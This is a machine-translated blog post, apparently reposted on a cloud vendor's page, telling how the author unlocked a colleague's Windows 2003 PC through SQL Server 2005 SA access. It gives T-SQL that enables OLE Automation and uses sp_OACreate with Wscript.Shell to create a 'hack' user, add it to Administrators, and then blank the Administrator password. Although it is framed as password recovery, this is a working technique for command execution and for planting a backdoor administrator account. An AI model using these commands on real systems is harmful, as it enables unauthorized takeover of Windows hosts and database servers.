Windows2003 SQL2005 Add System user to modify system login password _mssql2005

Source: Internet
Author: User
Tags ole

Today at work, a colleague said I do not know who set the power-on password, the computer has not been the power-on password he is not in the desktop now
The computer does not have an optical drive, and I do not have to start the USB disk on hand, or use the WinPE with the password cracking tool to crack the power-on password
Luckily, the computer was a developer and installed SQLSERVER2005, and luckily he remembers the SA user and password for SQL Server.

Enter the following SQL statement to add a system user to the Administrator group

Copy Code code as follows:

--Open advanced options to see OLE Automation procedures OLE Automation turned on No
EXEC [SYS]. [sp_configure] @configname = ' Show advanced options ',-varchar (35)
@configvalue = 1--int
Reconfigure with override
Go
--See if Open
EXEC [SYS]. [sp_configure]

--If not, open it.
EXEC [SYS]. [sp_configure] @configname = ' Ole automation procedures ',--varchar (35)
@configvalue = 1--int

Copy Code code as follows:

--Add a hack user, the owning user group is administrators
DECLARE @shell INT
EXEC sp_OACreate ' Wscript.Shell ', @shell out
EXEC sp_OAMethod @shell, ' run ', NULL, ' Net user Hack/add '
EXEC sp_OAMethod @shell, ' run ', NULL, ' net localgroup Administrators hack/add '

Enter the system with hack users, hack the password is empty, and then enter the computer-"right-" management-"Local Users and Groups-" Set the password of the administrator to NULL,
Then open Task Manager, click the "User" tab, in the user interface, select Hack user, right-"Disconnected, Windows pop-up dialog box said hack user's Windows session will end,
Data can not be saved, select "Yes", and then pop-up Login dialog box, in the User name input box input "Administrator", Password input box is a blank password, successfully logged on to the desktop
Fortunately, some knowledge of SQL Server database security, or really to reload the system, the whole process is the use of OLE Automation, he is equivalent to give you a CMD environment, so you can enter the cmd command

In fact, I think SQL Server to use Windows services to write this idea is very good, do not boot and then need to double-click Sqlserver.exe to run the Windows service, the boot will not have to enter the desktop

My boss told me that larger platform software is typically written with Windows services, and that the key core components are run with Windows services, like our company's software

Most of the core features are run with Windows services. But there's a downside to using Windows services, which is that if the service doesn't start up, your software won't run, just like SQL Server.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.